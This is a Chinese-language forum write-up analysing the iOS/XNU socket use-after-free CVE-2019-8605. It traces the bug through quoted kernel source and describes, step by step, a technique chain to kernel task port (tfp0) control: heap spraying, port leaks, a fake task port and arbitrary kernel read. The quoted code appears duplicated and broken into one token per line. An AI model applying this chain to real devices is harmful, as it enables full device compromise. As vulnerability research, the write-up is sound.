-
-
[原创]CVE-2019-8605 FROM UAF TO TFP0
-
发表于: 2021-2-4 22:28 67071
-
这篇文章的开始是我看了Ned Williamson的一个漏洞
同时还在PJ0的博客上发了一篇非常非常棒的文章
公告
如公告所描述,这是一个存在于Socket中的UAF漏洞
一般搞开发的同学对于Socket更多的是了解到开发层面,比如使用Socket通信,我们从开发层面开始,逐步分析到底层
我们在学习计算机网络的时候,通过逻辑分层将网络分为七层,也叫作七层模型
后来又出现了更为符合使用习惯的四层模型
函数socket()
的原型如下,一共有三个参数
第一个参数domain:协议族,比如AF_INET
,AF_INET6
第二个参数type:socket类型,比如SOCK_STREAM
,SOCK_DGRAM
,SOCK_RAW
第三个参数protocol:传输协议,比如IPPROTO_TCP
,IPPROTO_UDP
创建一个Socket
对象的代码如下
如果要使用它作为服务端,还需要调用函数bind()
绑定本地端口,然后调用函数listen()
进行监听,最后在循环体内调用函数accept()
与客户端建立连接,之后就可以发送数据通信了
关于Socket网络编程有一份文档写的真的很好,墙裂建议阅读
用户态函数disconnectx()
这个函数很难在搜索网站上搜到相关文档信息,我最后是通过源码阅读来理解这个函数调用在Poc里的作用
通过分发,会调用到这个内核态函数,然后调用位置1的函数disconnectx_nocancel()
位置2的函数file_socket()
获取结构体变量so
,最后调用位置3的函数sodisconnectx()
前后调用函数socket_lock()
和socket_unlock()
用了锁防条件竞争,然后调用位置4的函数sodisconnectxlocked()
位置5的*so->so_proto->pr_usrreqs->pru_disconnectx
是一个函数
通过结构体初始化赋值的特征进行搜索,找到对应的实现是函数tcp_usr_disconnectx()
,该函数的三个参数就是用户态传入的参数,位置6有一个条件判断,我们只需要令第二个参数为0
即可绕过,绕过判断之后,调用位置7的函数tcp_usr_disconnect()
函数tcp_usr_disconnect()
有两个宏:COMMON_START()
和COMMON_END(PRU_DISCONNECT)
,COMMON_START()
会执行tp = intotcpcb(inp)
对变量tp
进行赋值,所以业务逻辑上是没有问题的,然后调用位置8的函数tcp_disconnect()
函数tcp_disconnect()
有一个判断tp->t_state < TCPS_ESTABLISHED
,tp->t_state
是Socket状态,我列举了部分,因为我们只创建了一个结构体变量socket
,并没有调用函数bind()
与函数listen()
,所以状态为TCPS_CLOSED
,那么这里就应该调用位置9的函数tcp_close()
想要在用户态进行状态判断可以参照如下代码
函数tcp_close()
实在是太长了,这里去掉了部分业务逻辑代码,反正肯定会执行到下面的,此处会判断协议族,本次漏洞发生在位置10的函数in6_pcbdetach()
函数in6_pcbdetach()
的位置11调用函数ip6_freepcbopts()
释放结构体成员inp->in6p_outputopts
,从上下文可以看出来,这里只进行了释放操作,并没有将inp->in6p_outputopts
置为NULL
,符合UAF的漏洞模型
跟到这里我只能说Socket实在是太庞大了!
从漏洞分析可以看到这个漏洞函数是可以从用户态进行调用的
所以最基本的调用代码如下,调用完函数disconnectx()
之后,我们就获得了一个存在漏洞的结构体变量tcp_sock
我们知道,UAF漏洞的一个关键点在于释放掉的一个指针后续被继续使用,那我们如何使用一个被关闭后的Socket呢?
Socket有两个属性读写函数getsockopt()
和setsockopt()
,两个函数的原型如下
函数setsockopt()
的第一个参数是Socket变量,第二个参数有多个选择,看操作的层级,第三个是操作的选项名,这个选项名跟第二个参数level
有关,第四个参数是新选项值的指针,第五个参数是第四个参数的大小
为什么第二个参数和第三个参数要设置成IPPROTO_IPV6
和IPV6_USE_MIN_MTU
?
这就要先来看最开始那个没有被置为NULL
的结构体成员inp->in6p_outputopts
了,这个成员的结构体定义如下
无论是set*()
还是get*()
,最后都肯定是要通过一个case
判断再操作到结构体成员的
源码搜索IPV6_USE_MIN_MTU
,在函数ip6_getpcbopt
发现一段符合我们所说特征的代码,可见选项IPV6_USE_MIN_MTU
操作的结构体成员是ip6_pktopts->ip6po_minmtu
函数ip6_setpktopts()
和函数ip6_pcbopt()
都调用到了函数ip6_setpktopt()
,但前者的调用逻辑不符合,所以确定调用者是函数ip6_pcbopt
在函数ip6_ctloutput()
里,当optname
为IPV6_USE_MIN_MTU
的时候调用函数ip6_pcbopt()
函数rip6_ctloutput()
做了SOPT_SET
和SOPT_GET
的判断,IPV6_USE_MIN_MTU
会走default
分支调用函数ip6_ctloutput()
函数rip6_ctloutput()
并不是常规的层层调用回去,而是使用结构体赋值的形式进行调用
这个也简单,直接搜索->pr_ctloutput
,当level
不是SOL_SOCKET
的时候,就调用函数rip6_ctloutput()
最后回到最早的调用函数setsockopt()
以上为参数IPPROTO_IPV6
和IPV6_USE_MIN_MTU
的由来
但记住,现在是Socket还正常存在的情况,如果调用了函数disconnectx()
呢?
Socket被关闭了还能操作吗?
显然是不能的
因为在函数sosetoptlock()
有一个检查,如果发现Socket已经被关闭,就直接失败
理解一下这个检查,左边so->so_state
只能是SS_CANTRCVMORE
与SS_CANTSENDMORE
之间任意一种且右边so->so_flags
不能是SOF_NPX_SETOPTSHUT
,就会跳到goto out
但是天无绝人之路,看下面这个宏,允许在关闭Socket之后使用函数setsockopt
找到这个宏的使用场景,发现是在level
为SOL_SOCKET
的分支里,当满足sonpx.npx_mask
和sonpx.npx_flags
都为SONPX_SETOPTSHUT
时,就会给so->so_flags
添加SOF_NPX_SETOPTSHUT
标志位
当so->so_flags
拥有SOF_NPX_SETOPTSHUT
标志位,那么右边的检查就不能成立,成功绕过
此时的代码如下
相当成功
UAF漏洞常规利用方案是堆喷分配到先前释放掉的空间,这样我们拥有的指针指向的空间数据就可控,接下来尝试泄露一个地址
按照Ned Williamson的思路来分析利用方案,以下的分析顺序并非按照Exp的顺序进行,大家可自行对照
那么我们泄露什么地址呢?
答案是:Task Port
为了解释说明什么是Task Port
以及获取Task Port
能干什么,这里先介绍XNU的Task
Task是资源的容器,封装了虚拟地址空间,处理器资源,调度控制等,对应的结构体如下,重点注意其中的IPC structures
部分
简单来说,Task Port
是任务本身的Port,使用mach_task_self
或mach_task_self()
都可以获取到它,我可以利用它做很多事情,下面利用代码中的函数find_port_via_uaf()
第一个参数就是通过调用函数mach_task_self()
获取的
泄露Task Port
的流程如下
这里还用到了缓存机制
先获取一个存在漏洞的Socket,然后填充释放掉的内存并利用inp->in6p_outputopts
读取数据
这里不直接填充数据是因为Port在用户态和内核态表现形式不一样,我们不能盲目直接把Port填充进去
在用户态,Port是一个无符号整形
在内核态,Port可是一个结构体ipc_port
那怎么把它的内核态地址分配到inp->in6p_outputopts
呢?
答案是:使用OOL Message
OOL Message
定义如下,结构体mach_msg_ool_ports_descriptor_t
用于在一条消息里以Port数组的形式发送多个Mach Port
为什么要使用OOL Message
作为填充对象,我们可以从源码中找到答案
Mach Message的接收与发送依赖函数mach_msg()
进行,这个函数在用户态与内核态均有实现
我们跟入函数mach_msg()
,函数mach_msg()
会调用函数mach_msg_trap()
,函数mach_msg_trap()
会调用函数mach_msg_overwrite_trap()
当函数mach_msg()
第二个参数是MACH_SEND_MSG
的时候,函数ipc_kmsg_get()
用于分配缓冲区并从用户态拷贝数据到内核态
函数ipc_kmsg_get()
,ipc_kmsg_t
就是内核态的消息存储结构体,拷贝过程看注释,这里基本是在处理kmsg->ikm_header
,也就是用户态传入的消息数据
函数ipc_kmsg_copyin()
是我们这里重点分析的逻辑,整个代码我删掉了业务无关的部分,函数ipc_kmsg_copyin_header()
跟我们要分析的逻辑无关,主要看函数ipc_kmsg_copyin_body()
函数ipc_kmsg_copyin_body()
先判断OOL数据是否满足条件,并且视情况对内核空间进行调整,最后调用关键函数ipc_kmsg_copyin_ool_ports_descriptor()
函数ipc_kmsg_copyin_ool_ports_descriptor()
专注处理OOL数据,调用了一个关键的函数ipc_object_copyin()
函数ipc_object_copyin()
包含两个函数:ipc_right_lookup_write()
和ipc_right_copyin()
函数ipc_right_lookup_write()
调用函数ipc_entry_lookup()
,返回值赋值给entry
这里需要提两个概念,一个是结构体ipc_space
,它是整个Task的IPC空间,另一个是结构体ipc_entry
,它指向的是结构体ipc_object
,结构体ipc_space
有一个成员is_table
专门用于存储当前Task所有的ipc_entry
,在我们这里的场景,ipc_entry
指向的是ipc_port
,也就是说,变量entry
拿到的是最开始传入的Task Port
在内核态的地址
层层往回走,函数ipc_object_copyin()
的参数objectp
会被存储到Caller函数ipc_kmsg_copyin_ool_ports_descriptor()
的objects[]
数组里,数组objects[]
在函数ipc_kmsg_copyin_ool_ports_descriptor
进行内存空间分配,所以我们只要让ports_length
等于inp->in6p_outputopts
的大小,就可以让它分配到我们释放掉的空间里
我做了一张逻辑调用图,注意红框
先创建一个Ports
数组用于存储传入的用户态Task Port
,然后构造OOL Message
,其它都不重要,主要看msg->ool_ports.address
和msg->ool_ports.count
,这两个构造好就行,调用函数msg_send()
发送消息,此时就会发生内存分配,将用户态Task Port
转为Task Port
的内核态地址并写入我们可控的内存空间
结构体ip6_pktopts
的大小是192
,我没找到对应的头文件来导入这个结构体,笨办法把整个结构体拷贝出来了,然后调用函数sizeof()
来计算,这里根据结构体的成员分布,选择了ip6po_minmtu
和ip6po_prefer_tempaddr
进行组合,同时增加了内核指针特征进行判断
在泄露Task Port
内核态地址的时候,我们利用的是传输Port过程中内核自动将其转换为内核态地址的机制往可控的内存里填充数据,而想要泄露内核任意地址上的数据,就需要使用更加稳定的方式实现原语
首先来看结构体ip6_pktopts
,现在有一个指针指向这一片已经释放掉的内核空间,我们通过某些方式可以让这片内核空间写上我们构造的数据,那么就有几个问题需要解决
第二个问题比较好解决,我们可以看到结构体ip6_pktopts
有好几个结构体类型成员,比如结构体ip6po_pktinfo
,那么我们就可以把这个结构体成员所在偏移设置为我们要泄露数据的地址,设置整型变量ip6po_minmtu
为一个特定值,然后堆喷这个构造好的数据到内存里,利用函数getsockopt()
读漏洞Socket的ip6po_minmtu
是否为我们标记的特定值
如果是特定值说明这个漏洞Socket已经成功喷上了我们构造的数据,再通过函数getsockopt()
读取结构体变量ip6po_pktinfo
的值即可泄露出构造地址的数据,结构体in6_pktinfo
的大小为20字节,所以作者实现了函数read_20_via_uaf()
用于泄露指定地址的数据
如何构造任意读的原语方法有了,剩下的关键就是如何将构造好的数据堆喷到inp->in6p_outputopts
,我们来学习一种新的堆喷方式:利用IOSurface
进行堆风水
关于序列化与反序列化相关的资料大家可以参考这篇文章的第二段Overview of OSUnserializeBinary
,写的非常详细
我这里以自己的理解作简单的记录
相关的有两个函数:OSUnserializeBinary()
与OSUnserializeXML()
我们有两种模式可以构造数据,一种是XML,另一种是Binary,Binary模式是以uint32
为类型的数据,当数据头部是0x000000d3
的时候,就会自动跳到函数OSUnserializeBinary()
处理
uint32
长度是32位,也就是4个字节,第32位用于表示结束节点,第24位到30位表示存储的数据,第0到23位表示数据长度
0(31) 0000000(24) 000000000000000000000000
举个例子来理解计算过程,0x000000d3
表示这是Binary模式,0x81000002
表示当前集合kOSSerializeDictionary
内有两个元素,接下来依次填充元素,第一个元素是kOSSerializeString
,元素长度是4,0x00414141
表示元素数据,kOSSerializeBoolean
表示第二个元素,最后一位直接可以表示True
或者False
根据我们的分析,上面一段数据的解析结果如下,注意字符串类型最后的00
截止符是会占位的
这个计算过程一定要理解,接下来的堆喷需要用到这个计算方式
作者使用函数spray_IOSurface()
作为调用入口实现了堆喷,32
表示尝试32次堆喷,256
表示存储的数组元素个数
函数IOSurface_spray_with_gc()
作为封装,直接调用函数IOSurface_spray_with_gc_internal()
,最后一个参数callback
设置为NULL
,此处不用处理
最终实现在函数IOSurface_spray_with_gc_internal()
里,这个函数比较复杂,我们按照逻辑进行拆分
初始化IOSurface
获取IOSurfaceRootUserClient
计算每一个data
所需要的XML Unit
数量,因为00
截止符的原因,data_size
需要减去1再进行计算,其实就是向上取整
比如字符串长度为3字节,加上00
截止符就是4字节,需要1个uint32
那如果字符串长度是7字节,加上00
截止符就是8字节,此时就需要2个uint32
,也就是上面计算的XML Unit
这里有很多个1
,每个1
都是一个uint32
类型的数据,这个留着后面具体构造的时候再分析,这里计算的是一个完整的XML所需要的XML Unit
,其中包含了256个data
,每个data
所需要占用的XML Unit
为函数xml_units_for_data_size()
计算的结果,此处加1操作是因为每个data
需要一个kOSSerializeString
作为元素标签,这个标签占用1个uint32
上面计算完需要的xml_units
之后,下面开始分配内存空间,xml[0]
为变长数组
这是很重要的一步,此前计算的几个数据会在这里传入函数serialize_IOSurface_data_array()
进行最终的XML
构造
函数serialize_IOSurface_data_array()
的构造过程我们前面有详细的解释,前后6个1
在这里体现为kOSSerializeBinarySignature
等元素
最终构造的XML
如下
此时我们拥有了一个XML
模板,开始往里面填充数据,填充的数据分为两部分,一部分是构造的data
,另一部分是标识key
,完成填充后调用函数IOSurface_set_value()
,该函数是函数IOConnectCallMethod()
的封装,用于向内核发送数据
完整的主代码如下,我去掉了一部分不会访问到的逻辑
堆喷的细节就分析到这里,所以在利用中,我们构造好堆喷数据和长度之后,就可以调用函数rk64_via_uaf()
进行堆喷操作
我们在上一步已经获取了Task Port
的内核态地址,根据结构体偏移,我们可以获取到IPC_SPACE
的内核地址
获取一下数据
Pipe管道是一个可以用于跨进程通信的机制,它会在内核缓冲区开辟内存空间进行数据的读写,fds[1]
用于写入数据,fds[0]
用于读取数据
比如现在读写下标在0
的位置,我们写入0x10000
字节,那么下标就会移动到0x10000
,当我们读取0x10000
字节的时候,下标就会往回移动到0
最后一句写8
字节到缓冲区里是为了用于后面的堆喷操作可以用构造的数据填充这片缓冲区,可以直接读取8
字节的数据
当我们调用函数setsockopt()
时,会调用到函数ip6_setpktopt()
当选项名为IPV6_PKTINFO
时,我们会发现一个逻辑:如果pktinfo->ipi6_ifindex
为0
且&pktinfo->ipi6_addr
开始的12
个字节的数据也都是0
,就会调用函数ip6_clearpktopts()
释放掉当前的ip6_pktopts->in6_pktinfo
,这个判断条件简化一下就是整个结构体数据都是0
就会被释放
函数ip6_clearpktopts()
调用FREE()
来执行释放缓冲区操作,这里面涉及到了堆的分配释放问题,由于并不是本文分析的重点,不过多深入
我们现在想要实现释放Pipe缓冲区只需要先获取它的地址,然后IOSurface堆喷使用这个Pipe缓冲区地址构造的数据,通过调用函数setsockopt()
设置整个in6_pktinfo
结构体数据为0
就可以把这个Pipe缓冲区给释放掉
根据我们泄露出来的Task Port
获取Pipe缓冲区地址,注意不同的系统版本偏移需要有所调整
函数free_via_uaf()
与函数rk64_via_uaf()
前面部分一样,都是通过创建一堆存在漏洞的Socket,然后去堆喷,只不过这里还要多一步填充结构体in6_pktinfo
数据,可以看到我们填充的是一个全为0
的数据,那么就会触发它进行释放操作
前期的准备工作到这里就差不多了,我们接下来开始进入一个关键环节:伪造一个Port
备注:因为SMAP是iPhone 7开始引入的安全机制,内核访问用户态的内存会被限制,而我的测试环境是iPhone 6,所以前面我淡化了SMAP的存在感,但接下来该面对还是要面对
申请一个target
用于伪造Port,函数find_port_via_uaf()
通过OOL数据自动转换Port为内核态地址的机制获取Port的内核态地址target_addr
,函数free_via_uaf()
将pipe_buffer
给释放掉,但管道句柄fds[0]
和fds[1]
依旧拥有对这个内核缓冲区的读写权限
这个循环的操作有点像函数find_port_via_uaf()
,利用自动转换的Task Port
内核态地址占位刚才释放掉的pipe_buffer
,因为我们之前写入了8
字节,所以这里读取8
字节就是pipe_buffer
的前8
个字节数据,判断一下使用两种方法获取到的Port内核态地址是否相同,如果相同就退出循环,如果不同说明堆喷不成功,复位下标继续循环
除了fds
之外,额外申请一个port_fds
用于绕过SMAP的限制
当我们获得一个填充满了Port内核态地址的内核缓冲区pipe_buffer
之后,就需要构造一个ipc_port
结构体了
将结构体ipc_port
和task
放在了连续的一片内存空间,构建完之后刷一遍port_fds
缓冲区
申请空间时的kport_t
为作者构造的一个port
结构体
我们要做的,是将这个Fake Task Port
的地址,替换到刚才被释放的内核缓冲区pipe_buffer
里,这样整个内核缓冲区的布局就是:第一个8
字节是我们Fake Task Port
的地址,后面都是正常Port的地址
先获取Fake Task Port
的地址port_pipe_buffer
,也就是port_fds
对应的内核缓冲区
fakeport->ip_kobject
指向的是结构体Task
,这个结构体还没有进行初始化,到这里完成Fake Task Port
的内存数据构造
将完成构造的Fake Task Port
数据刷到内核缓冲区里
这是我们释放掉的pipe_buffer
,将第一个8
字节替换为port_pipe_buffer
的地址,那么逻辑上第一个Port内核态地址指向的内核内存空间我们就可以通过port_fds
来进行控制了
获取Fake Task Port
的用户态句柄,从p
中读出我们发送的OOL数据,第一个元素就是我们的Fake Task Port
,如同用户态传到内核态会调用CAST_MACH_NAME_TO_PORT
将用户态句柄转换为内核态地址一样,内核态传到用户态会调用CAST_MACH_PORT_TO_NAME
将内核态地址转换为用户态句柄
于是我们现在拥有了Fake Task Port
的用户态句柄和内核态地址
作者在这里实现了两个内核任意读的原语,我们先来分析一下它背后的取值逻辑
通过fake_task
获取到bsd_info
赋值给指针变量read_addr_ptr
,宏kr32
里重新设置指针变量read_addr_ptr
的值,再调用函数pid_for_task()
,这逻辑完全看不懂什么意思
顺着获取PID这个思路想一下,通过一个Port内核态地址来获取PID的方式如下
如果将kobject
的值设置为addr - offset_p_pid
,addr
为我们要读取数据的地址,可以看到此时获取的就是我们传入的addr
指向的数据
可以得出结论:获取read_addr_ptr
与宏kr32()
里设置read_addr_ptr
的值等价于设置task->bsd_info
为addr - offset_p_pid
,当调用函数pid_for_task()
去获取PID时,就能实现任意读,在此基础上,宏k64()
实现了8
字节读取效果
这个内核任意读原语实现的很漂亮!
利用这个任意读原语来实现PID的遍历,先判断本Task的PID是否为0
,如果不是就获取前一个Task,如果获取到PID为0
,就获取VM_MAP
把获取到的VM_MAP填充到我们的Fake Task Port
,一个东拼西凑的TFP0就拿到手了
初始化一个全局tfpzero
变量
申请8
字节内存,写0x4141414141414141
,再读出来,能成功说明这个tfpzero
是能用的
这里要补充一点:这里申请的都是内核的空间,内核空间范围如下
这几个k*()
函数是基于tfpzero
实现的函数
内存申请函数:kalloc()
读函数:rk32()
和rk64()
写函数:wk32()
和wk64()
内存释放函数:kfree()
new_tfp0
是我们最终要使用的TFP0,函数find_port()
也是利用上面的tfpzero
进行读取
最开始分析代码的时候我们说过所有的Port都以ipc_entry_t
的形式存在在is_table
里,可以通过用户态Port来计算索引取出这个Port的内核态地址
重新申请一片内核内存用于存储Fake Task
,通过函数kwrite()
将fake_task
写到新申请的内核内存空间,然后让Fake Task Port
的ip_kobject
指向这片新的内存,最后通过刷新new_addr
指向的new_tfp0
内存来获取一个最终的TFP0
重复一遍上面的写入读取,测试这个new_tfp0
是否可用
效果蛮好
从is_table
中删除东拼西凑的Port,然后删除fds
对应的内核缓冲区,它早就被释放了,还有一些管道句柄,IOSurface都关掉
这篇文章只能说是讲了个大概,很多细节都没有深究,比如堆分配机制,哪些是统一实现的,哪些是单独实现的,结构体偏移计算,伪造Port时各种结构体成员以什么数据进行赋值...,这些问题我也一知半解的,所以就留着后面漏洞分析的多了,逐渐补齐
/
/
https:
/
/
support.apple.com
/
en
-
us
/
HT210549
Available
for
: iPhone
5s
and
later, iPad Air
and
later,
and
iPod touch
6th
generation
Impact: A malicious application may be able to execute arbitrary code with system privileges
Description: A use after free issue was addressed with improved memory management.
CVE
-
2019
-
8605
: Ned Williamson working with Google Project Zero
/
/
https:
/
/
support.apple.com
/
en
-
us
/
HT210549
Available
for
: iPhone
5s
and
later, iPad Air
and
later,
and
iPod touch
6th
generation
Impact: A malicious application may be able to execute arbitrary code with system privileges
Description: A use after free issue was addressed with improved memory management.
CVE
-
2019
-
8605
: Ned Williamson working with Google Project Zero
int
socket(
int
domain,
int
type
,
int
protocol);
int
socket(
int
domain,
int
type
,
int
protocol);
#define SOCK_STREAM 1 /* stream socket */
#define SOCK_DGRAM 2 /* datagram socket */
#define SOCK_RAW 3 /* raw-protocol interface */
#if !defined(_POSIX_C_SOURCE) || defined(_DARWIN_C_SOURCE)
#define SOCK_RDM 4 /* reliably-delivered message */
#endif /* (!_POSIX_C_SOURCE || _DARWIN_C_SOURCE) */
#define SOCK_SEQPACKET 5 /* sequenced packet stream */
#define SOCK_STREAM 1 /* stream socket */
#define SOCK_DGRAM 2 /* datagram socket */
#define SOCK_RAW 3 /* raw-protocol interface */
#if !defined(_POSIX_C_SOURCE) || defined(_DARWIN_C_SOURCE)
#define SOCK_RDM 4 /* reliably-delivered message */
#endif /* (!_POSIX_C_SOURCE || _DARWIN_C_SOURCE) */
#define SOCK_SEQPACKET 5 /* sequenced packet stream */
int
tcp_sock
=
socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
if
(tcp_sock <
0
) {
printf(
"[-] Can't create socket, error %d (%s)\n"
, errno, strerror(errno));
return
-
1
;
}
int
tcp_sock
=
socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
if
(tcp_sock <
0
) {
printf(
"[-] Can't create socket, error %d (%s)\n"
, errno, strerror(errno));
return
-
1
;
}
__API_AVAILABLE(macosx(
10.11
), ios(
9.0
), tvos(
9.0
), watchos(
2.0
))
int
disconnectx(
int
, sae_associd_t, sae_connid_t);
448
AUE_NULL
ALL
{
int
disconnectx(
int
s, sae_associd_t aid, sae_connid_t cid); }
__API_AVAILABLE(macosx(
10.11
), ios(
9.0
), tvos(
9.0
), watchos(
2.0
))
int
disconnectx(
int
, sae_associd_t, sae_connid_t);
448
AUE_NULL
ALL
{
int
disconnectx(
int
s, sae_associd_t aid, sae_connid_t cid); }
int
disconnectx(struct proc
*
p, struct disconnectx_args
*
uap,
int
*
retval)
{
/
*
*
Due to similiarity with a POSIX interface, define as
*
an unofficial cancellation point.
*
/
__pthread_testcancel(
1
);
return
(disconnectx_nocancel(p, uap, retval));
/
/
1
}
int
disconnectx(struct proc
*
p, struct disconnectx_args
*
uap,
int
*
retval)
{
/
*
*
Due to similiarity with a POSIX interface, define as
*
an unofficial cancellation point.
*
/
__pthread_testcancel(
1
);
return
(disconnectx_nocancel(p, uap, retval));
/
/
1
}
static
int
disconnectx_nocancel(struct proc
*
p, struct disconnectx_args
*
uap,
int
*
retval)
{
#pragma unused(p, retval)
struct socket
*
so;
int
fd
=
uap
-
>s;
int
error;
error
=
file_socket(fd, &so);
/
/
2
if
(error !
=
0
)
return
(error);
if
(so
=
=
NULL) {
error
=
EBADF;
goto out;
}
error
=
sodisconnectx(so, uap
-
>aid, uap
-
>cid);
/
/
3
out:
file_drop(fd);
return
(error);
}
static
int
disconnectx_nocancel(struct proc
*
p, struct disconnectx_args
*
uap,
int
*
retval)
{
#pragma unused(p, retval)
struct socket
*
so;
int
fd
=
uap
-
>s;
int
error;
error
=
file_socket(fd, &so);
/
/
2
if
(error !
=
0
)
return
(error);
if
(so
=
=
NULL) {
error
=
EBADF;
goto out;
}
error
=
sodisconnectx(so, uap
-
>aid, uap
-
>cid);
/
/
3
out:
file_drop(fd);
return
(error);
}
int
sodisconnectx(struct socket
*
so, sae_associd_t aid, sae_connid_t cid)
{
int
error;
socket_lock(so,
1
);
error
=
sodisconnectxlocked(so, aid, cid);
/
/
4
socket_unlock(so,
1
);
return
(error);
}
int
sodisconnectx(struct socket
*
so, sae_associd_t aid, sae_connid_t cid)
{
int
error;
socket_lock(so,
1
);
error
=
sodisconnectxlocked(so, aid, cid);
/
/
4
socket_unlock(so,
1
);
return
(error);
}
int
sodisconnectxlocked(struct socket
*
so, sae_associd_t aid, sae_connid_t cid)
{
int
error;
/
*
*
Call the protocol disconnectx handler; let it handle
all
*
matters related to the connection state of this session.
*
/
error
=
(
*
so
-
>so_proto
-
>pr_usrreqs
-
>pru_disconnectx)(so, aid, cid);
/
/
5
if
(error
=
=
0
) {
/
*
*
The event applies only
for
the session,
not
for
*
the disconnection of individual subflows.
*
/
if
(so
-
>so_state & (SS_ISDISCONNECTING|SS_ISDISCONNECTED))
sflt_notify(so, sock_evt_disconnected, NULL);
}
return
(error);
}
int
sodisconnectxlocked(struct socket
*
so, sae_associd_t aid, sae_connid_t cid)
{
int
error;
/
*
*
Call the protocol disconnectx handler; let it handle
all
*
matters related to the connection state of this session.
*
/
error
=
(
*
so
-
>so_proto
-
>pr_usrreqs
-
>pru_disconnectx)(so, aid, cid);
/
/
5
if
(error
=
=
0
) {
/
*
*
The event applies only
for
the session,
not
for
*
the disconnection of individual subflows.
*
/
if
(so
-
>so_state & (SS_ISDISCONNECTING|SS_ISDISCONNECTED))
sflt_notify(so, sock_evt_disconnected, NULL);
}
return
(error);
}
#define SAE_ASSOCID_ANY 0
#define SAE_ASSOCID_ALL ((sae_associd_t)(-1ULL))
#define EINVAL 22 /* Invalid argument */
static
int
tcp_usr_disconnectx(struct socket
*
so, sae_associd_t aid, sae_connid_t cid)
{
#pragma unused(cid)
if
(aid !
=
SAE_ASSOCID_ANY && aid !
=
SAE_ASSOCID_ALL)
/
/
6
return
(EINVAL);
return
(tcp_usr_disconnect(so));
/
/
7
}
#define SAE_ASSOCID_ANY 0
#define SAE_ASSOCID_ALL ((sae_associd_t)(-1ULL))
#define EINVAL 22 /* Invalid argument */
static
int
tcp_usr_disconnectx(struct socket
*
so, sae_associd_t aid, sae_connid_t cid)
{
#pragma unused(cid)
if
(aid !
=
SAE_ASSOCID_ANY && aid !
=
SAE_ASSOCID_ALL)
/
/
6
return
(EINVAL);
return
(tcp_usr_disconnect(so));
/
/
7
}
static
int
tcp_usr_disconnect(struct socket
*
so)
{
int
error
=
0
;
struct inpcb
*
inp
=
sotoinpcb(so);
struct tcpcb
*
tp;
socket_lock_assert_owned(so);
COMMON_START();
/
*
In case we got disconnected
from
the peer
*
/
if
(tp
=
=
NULL)
goto out;
tp
=
tcp_disconnect(tp);
/
/
8
COMMON_END(PRU_DISCONNECT);
}
static
int
tcp_usr_disconnect(struct socket
*
so)
{
int
error
=
0
;
struct inpcb
*
inp
=
sotoinpcb(so);
struct tcpcb
*
tp;
socket_lock_assert_owned(so);
COMMON_START();
/
*
In case we got disconnected
from
the peer
*
/
if
(tp
=
=
NULL)
goto out;
tp
=
tcp_disconnect(tp);
/
/
8
COMMON_END(PRU_DISCONNECT);
}
#define TCPS_CLOSED 0 /* closed */
#define TCPS_LISTEN 1 /* listening for connection */
#define TCPS_SYN_SENT 2 /* active, have sent syn */
#define TCPS_SYN_RECEIVED 3 /* have send and received syn */
/
*
states < TCPS_ESTABLISHED are those where connections
not
established
*
/
#define TCPS_ESTABLISHED 4 /* established */
static struct tcpcb
*
tcp_disconnect(struct tcpcb
*
tp)
{
struct socket
*
so
=
tp
-
>t_inpcb
-
>inp_socket;
if
(so
-
>so_rcv.sb_cc !
=
0
|| tp
-
>t_reassqlen !
=
0
)
return
tcp_drop(tp,
0
);
if
(tp
-
>t_state < TCPS_ESTABLISHED)
tp
=
tcp_close(tp);
/
/
9
else
if
((so
-
>so_options & SO_LINGER) && so
-
>so_linger
=
=
0
)
tp
=
tcp_drop(tp,
0
);
else
{
soisdisconnecting(so);
sbflush(&so
-
>so_rcv);
tp
=
tcp_usrclosed(tp);
#if MPTCP
/
*
A reset has been sent but socket exists, do
not
send FIN
*
/
if
((so
-
>so_flags & SOF_MP_SUBFLOW) &&
(tp) && (tp
-
>t_mpflags & TMPF_RESET))
return
(tp);
#endif
if
(tp)
(void) tcp_output(tp);
}
return
(tp);
}
#define TCPS_CLOSED 0 /* closed */
#define TCPS_LISTEN 1 /* listening for connection */
#define TCPS_SYN_SENT 2 /* active, have sent syn */
#define TCPS_SYN_RECEIVED 3 /* have send and received syn */
/
*
states < TCPS_ESTABLISHED are those where connections
not
established
*
/
#define TCPS_ESTABLISHED 4 /* established */
static struct tcpcb
*
tcp_disconnect(struct tcpcb
*
tp)
{
struct socket
*
so
=
tp
-
>t_inpcb
-
>inp_socket;
if
(so
-
>so_rcv.sb_cc !
=
0
|| tp
-
>t_reassqlen !
=
0
)
return
tcp_drop(tp,
0
);
if
(tp
-
>t_state < TCPS_ESTABLISHED)
tp
=
tcp_close(tp);
/
/
9
else
if
((so
-
>so_options & SO_LINGER) && so
-
>so_linger
=
=
0
)
tp
=
tcp_drop(tp,
0
);
else
{
soisdisconnecting(so);
sbflush(&so
-
>so_rcv);
tp
=
tcp_usrclosed(tp);
#if MPTCP
/
*
A reset has been sent but socket exists, do
not
send FIN
*
/
if
((so
-
>so_flags & SOF_MP_SUBFLOW) &&
(tp) && (tp
-
>t_mpflags & TMPF_RESET))
return
(tp);
#endif
if
(tp)
(void) tcp_output(tp);
}
return
(tp);
}
/
/
https:
/
/
developer.apple.com
/
documentation
/
kernel
/
tcp_connection_info
int
tcp_sock
=
socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
struct tcp_connection_info info;
int
len
=
sizeof(info);
getsockopt(tcp_sock, IPPROTO_TCP, TCP_CONNECTION_INFO, &info, (socklen_t
*
)&
len
);
NSLog(@
"%d"
, info.tcpi_state);
/
/
https:
/
/
developer.apple.com
/
documentation
/
kernel
/
tcp_connection_info
int
tcp_sock
=
socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
struct tcp_connection_info info;
int
len
=
sizeof(info);
getsockopt(tcp_sock, IPPROTO_TCP, TCP_CONNECTION_INFO, &info, (socklen_t
*
)&
len
);
NSLog(@
"%d"
, info.tcpi_state);
struct tcpcb
*
tcp_close(struct tcpcb
*
tp)
{
struct inpcb
*
inp
=
tp
-
>t_inpcb;
struct socket
*
so
=
inp
-
>inp_socket;
...
#if INET6
if
(SOCK_CHECK_DOM(so, PF_INET6))
in6_pcbdetach(inp);
/
/
10
else
#endif /* INET6 */
in_pcbdetach(inp);
/
*
*
Call soisdisconnected after detach because it might unlock the socket
*
/
soisdisconnected(so);
tcpstat.tcps_closed
+
+
;
KERNEL_DEBUG(DBG_FNC_TCP_CLOSE | DBG_FUNC_END,
tcpstat.tcps_closed,
0
,
0
,
0
,
0
);
return
(NULL);
}
struct tcpcb
*
tcp_close(struct tcpcb
*
tp)
{
struct inpcb
*
inp
=
tp
-
>t_inpcb;
struct socket
*
so
=
inp
-
>inp_socket;
...
#if INET6
